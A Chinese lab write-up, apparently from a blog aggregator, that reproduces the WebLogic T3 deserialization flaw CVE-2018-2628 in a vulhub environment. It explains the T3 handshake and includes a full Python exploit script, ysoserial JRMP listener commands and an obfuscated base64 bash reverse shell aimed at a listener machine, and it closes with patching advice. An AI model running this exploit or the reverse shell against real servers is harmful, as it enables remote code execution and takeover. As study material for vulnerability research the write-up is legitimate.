WebLogic T3反序列化漏洞(CVE-2018-2628)--vulhub

news2024/12/25 18:43:06

WebLogic T3反序列化漏洞(CVE-2018-2628)

WebLogic在通信过程中使用T3协议传输数据,涉及到了序列化和反序列化操作。

T3协议概述

T3协议是Oracle的私有协议,所以公开的相关资料比较少,这里结合其他师傅的博客简单对T3协议进行一个简要分析。

T3协议是WebLogic的一种专有通信协议,在Weblogic中的RMI通信是使用T3协议实现的(一般的RMI通信使用的是JRMP协议)。

在T3协议中协议协商的协商阶段,会发送一个请求包头(handshake)用来表明这是一个T3协议,它负责定义数据包的基本结构和传输协议的版本信息。

客户端会首先发送下面的信息给weblogic服务器:

t3 12.2.3
AS:255
HL:19
nMS:10000000

模拟发包

使用python模拟发包,使用wireshark抓包nat网卡查看

import socket

handshake = "t3 12.2.3
AS:255
HL:19
MS:10000000

"
ip = "192.168.88.150"
port = 7001

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(handshake.encode())
data = sock.recv(1024)

在这里插入图片描述

服务器收到消息后,会回复类似的信息

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

响应包头中HELO后面的内容是被连接的weblogic的版本号12.2.1.3。通信双方根据对方发来的协议协商信息,开始建立连接。

再协商完毕上面的信息后,客户端会向服务端发送自己的详细信息,这是一段二进制数据。在这段二进制流的前4bytes标识了本次请求的数据长度,然后直到遇到aced 0005序列化数据的标识之前,这部分内容被称为PeerInfo。

以这个PoC脚本( https://www.exploit-db.com/exploits/44553 )请求数据包为例:

在这里插入图片描述

aced 0005之后的就是实际传输的序列化数据。

T3反序列漏洞分析

前面提到WebLogic的RMI是通过T3协议实现的,在T3协议的传输过程中同样会进行序列化和反序列化的操作,所以说T3的反序列漏洞和RMI的反序列漏洞的原理几乎是一致的。

大部分的WebLogic的利用脚本都是使用python编写的,比如上面提到的那个PoC脚本。基本的思路都是替换WebLogic T3协议流中aced 0005部分为恶意的序列化数据来实现反序列化攻击。其实也就就是把ysoserial生成的Payload变成T3协议里的数据格式。

除了由 Exploit Database 提供的利用脚本,还有国内其他师傅写的脚本:

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3
AS:255
HL:19
MS:10000000

".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.1.40"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

原理都是一样的,把生成的Payload替换掉原来的序列化的部分,但要保证T3协议格式仍然正确。

造成反序列漏洞的原因一般都是readObject方法在进行反序列化操作出现了问题,T3协议的反序列漏洞也不例外。T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里进行反序列化操作。

借一张其他师傅博客的图:

在这里插入图片描述

中间的调用过程先不谈,导致的漏洞产生的直接原因就是在resolveClass方法中也没做任何的校验。

这个resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。resolveClass没有任何校验的话,就意味着它会获取任意的类的Class对象,这就有了可乘之机,可以轻易获取我们恶意的类的Class对象,从而造成反序列漏洞。

T3协议的利用最早可以追溯到2015的CVE-2015-4582,漏洞存在于Commons-Collections这个库的CC链1的利用。到后来的CVE-2016-0638和CVE-2016-3510都也很类似。

到17年之后的漏洞开始通过构造JRMP服务器监听的方法反向触发,比如第一个CVE-2017-3248,到后来的CVE-2018-2628它对上一个的绕过,之后还有CVE-2020-2555,CVE-2020-2883等漏洞。

漏洞复现

影响版本: Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

没有web页面
使用nmap探测weblogic的T3协议是否启用,以及版本号
开启的即可

nmap -sV 192.168.200.142 -p 7001 --script weblogic-t3-info

在这里插入图片描述

1.python

使用python脚本自动化执行命令,改个IP即可使用
输入命令

在这里插入图片描述

成功写入,在tmp目录下成功创建文件

在这里插入图片描述

2.ysoserial

开启JRMP服务监听,选择CC1链。

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"

利用漏洞exp(前面提到的poc),向目标Weblogic发送Payload:

python2 CVE-2018-2628.py 192.168.200.142 7001 ysoserial-all.jar 192.168.50.8 2333 JRMPClient

exp执行完成后,靶机回连本地JRMP服务,JRMP服务端收到请求:

在这里插入图片描述

成功写入

在这里插入图片描述

反弹shell

1.python自动执行的脚本
更改command即可,kali开启监听

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYxCg==}|{base64,-d}|{bash,-i}

base64编码是反弹shell命令:bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

成功获取反弹shell

在这里插入图片描述

2.ysoserial

本地开启JRMP监听,监听本地2333端口,利用链依然使用CC1链:

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYxCg==}|{base64,-d}|{bash,-i}"

在这里插入图片描述

使用exp,向目标Weblogic发送Payload:

python2 CVE-2018-2628.py 192.168.200.142 7001 ysoserial-all.jar 192.168.50.8 2333 JRMPClient

在这里插入图片描述

成功获取shell

在这里插入图片描述

修复措施

关闭T3服务:如果Weblogic控制台端口(默认为7001端口)开放,T3服务会默认开启。关闭T3服务或控制T3服务的访问权限可以防护该漏洞。

更新补丁:应用Oracle官方发布的最新补丁,并升级JDK至1.7.0.21以上版本。

更改代码:如果无法应用补丁或更新JDK,可以考虑更改代码,例如在黑名单中添加特定的类名,以阻断漏洞利用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2265416.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在瑞芯微RK3588平台上使用RKNN部署YOLOv8Pose模型的C++实战指南

在人工智能和计算机视觉领域,人体姿态估计是一项极具挑战性的任务,它对于理解人类行为、增强人机交互等方面具有重要意义。YOLOv8Pose作为YOLO系列中的新成员,以其高效和准确性在人体姿态估计任务中脱颖而出。本文将详细介绍如何在瑞芯微RK3588平台上,使用RKNN(Rockchip N…

scala借阅图书保存记录(三)

BookDAO package org.app package daoimport models.BookModelimport scala.collection.mutable.ListBuffer//图书,数据操作 class BookDAO {//加载图书,从文件中读入def loadBooks(): ListBuffer[BookModel] {val books new ListBuffer[BookModel]()…

无标记动作捕捉系统如何赋能体育运动分析,推动体育科学发展?

随着技术的不断发展与社会的需要,健康、科学运动成为了大众关注的一个热词。在韩国首尔的中央大学,其生物运动临床康复实验室和运动训练中心就致力于通过生物力学分析来研究与运动相关的伤害,并通过定制科学的训练计划来帮助运动员改进他们的…

Unittest02|TestSuite、TestRunner、HTMLTestRunner、处理excel表数据、邮件接收测试结果

目录 八、测试套件TestSuite和测试运行器TestRunner 1、基本概念 2、创建和使用测试套件 3、 自动发现测试用例、创建测试套件、运行测试 4、生成html的测试报告:HTMLTestRunner 1️⃣导入HTMLTestRunner模块 2️⃣运行测试用例并生成html文件 九、unittest…

[搜广推]王树森推荐系统笔记——曝光过滤 Bloom Filter

曝光过滤 & Bloom Filter 曝光过滤主要在召回阶段做,主要方法是Bloom Filter 曝光过滤问题 -如果用户看过某个物品,则不再把该物品曝光给该用户。 - 原因是重复曝光同一个物品会损害用户体验 - 但长视频通常没有曝光过滤(youtube&…

JS CSS HTML 的代码如何快速封装

我们为什么要封装代码,是因为封装后的代码,会显得非常美观,减少代码的复用,方便我们更好的去维护代码,不用一个一个页面的去找去改,直接封装好的代码里面去改就可以了 目录 1.html代码封装 2.CSS代码封装 …

acme ssl证书自动续签 nginx

参考 github 官方操作 ,acme操作说明 说下我的操作 安装 acme.sh curl https://get.acme.sh | sh source ~/.bashrc 2.注册 acme.sh --register-account -m 123qq.com 如果你在配置 acme.sh 时选择了其他 CA(如 Let’s Encrypt)&#xff…

【专题】2024抖音电商母婴行业分析报告汇总PDF洞察(附原数据表)

原文链接:https://tecdat.cn/?p38651 在数字化浪潮的席卷下,抖音电商母婴行业正经历着深刻变革。当下,年轻一代父母崛起,特别是 24 至 30 岁以及 18 至 23 岁的群体成为抖音母婴行业兴趣人群的主力军。他们带来全新育儿理念&…

设计模式之 abstract factory

适用场景 一个系统要独立于它的产品的创建、组合和表示时。一个系统要由多个产品系列中的一个来配置时。当你要强调一系列相关的产品对象的设计以便进行联合使用时。当你提供一个产品类库,而只想显示它们的接口而不是实现时 架构演示 首先client这个东西可以接触到…

UE5仿漫威争锋灵蝶冲刺技能

这两天玩了一下漫威争锋Marvel Rivals,发现是UE5做的,对里面一些角色技能挺感兴趣的,想简单复刻一下技能功能,顺便复习一下学过的知识 首先把摄像机设置调整一下 CameraBoom里搜索lag 把摄像机延迟关掉 ,这样摄像机就…

尼伽OLED赋能中国移动,打造移动AI数字人透明显示屏

随着人工智能和显示技术的不断进步,中国移动紧跟科技潮流,将移动AI数字人技术与透明屏完美结合,为用户带来了前所未有的智能交互体验。基于中国移动九天大模型生成的数字人小天,便是这一创新技术的典型代表。它不仅能够实现定点播…

goview——vue3+vite——数据大屏配置系统

低代码数据大屏配置系统: 数据来源是可以动态api配置的: 配置上面的api接口后,在数据过滤中进行数据格式的转化。 以上内容,来源于https://gitee.com/dromara/go-view/tree/master-fetch/ 后端代码如下,需要更改…

GitLab安装|备份数据|迁移数据及使用教程

作者: 宋发元 最后更新时间:2024-12-24 GitLab安装及使用教程 官方教程 https://docs.gitlab.com/ee/install/docker.html Docker安装GitLab 宿主机创建容器持久化目录卷 mkdir -p /docker/gitlab/{config,data,logs}拉取GitLab镜像 docker pull gi…

JavaWeb Servlet的反射优化、Dispatcher优化、视图(重定向)优化、方法参数值获取优化

目录 1. 背景2. 实现2.1 pom.xml2.2 FruitController.java2.3 DispatcherServlet.java2.4 applicationContext.xml 3. 测试 1. 背景 前面我们做了Servlet的一个案例。但是存在很多问题,现在我们要做优化,优化的步骤如下: 每个Fruit请求都需…

selenium执行js

JS知识 获取元素 document.getElement 移除属性:removeAttribute("xx") 窗口移动:window.scrollTo(0, document.body.scrollHeight)方法 drivier.execute_script(js)场景: 日期选择框,不能输入,只能设置…

《信管通低代码信息管理系统开发平台》Linux环境安装说明

1 简介 信管通低代码信息管理系统应用平台提供多环境软件产品开发服务,包括单机、局域网和互联网。我们专注于适用国产硬件和操作系统应用软件开发应用。为事业单位和企业提供行业软件定制开发,满足其独特需求。无论是简单的应用还是复杂的系统&#xff…

static 和const的作用面试常问

点击上方"蓝字"关注我们 01、static 关键字 >>> 1. 局部变量 作用:将变量的生命周期延续到程序的整个运行期间,而不仅仅是它所在的函数调用期间。 void func() {static int count = 0; // 只会初始化一次 count++; printf("%d\n", count)…

VS2022 中的 /MT /MTd /MD /MDd 选项

我们有时编译时,需要配置这个 运行库,指定C/C++运行时库的链接方式。 如下图 那么这些选项的含义是什么? /MT:静态链接多线程库 /MT选项代表“Multi-threaded Static”,即多线程静态库。选择此选项时,编译器会从运行时库中选择多线程静态连接库来解释程序中的代码,…

掌握 Ansys ACP 中的参考方向:简化复杂的复合材料设计

概括 在复合材料分析领域,精度至关重要,尤其是在定义纤维方向和铺层时。Ansys ACP(Ansys Composite PrepPost)提供了强大的工具来建立参考方向,这是实现精确结构模拟的关键步骤。在本博客中,我们将揭开在 …

金仓数据库安装-Kingbase v9-centos

在很多年前有个项目用的金仓数据库,上线稳定后就没在这个项目了,只有公司的开发环境还在维护,已经好多年没有安装过了,重温一下金仓数据库安装,体验一下最新版本,也做一个新版本的试验环境; 一、…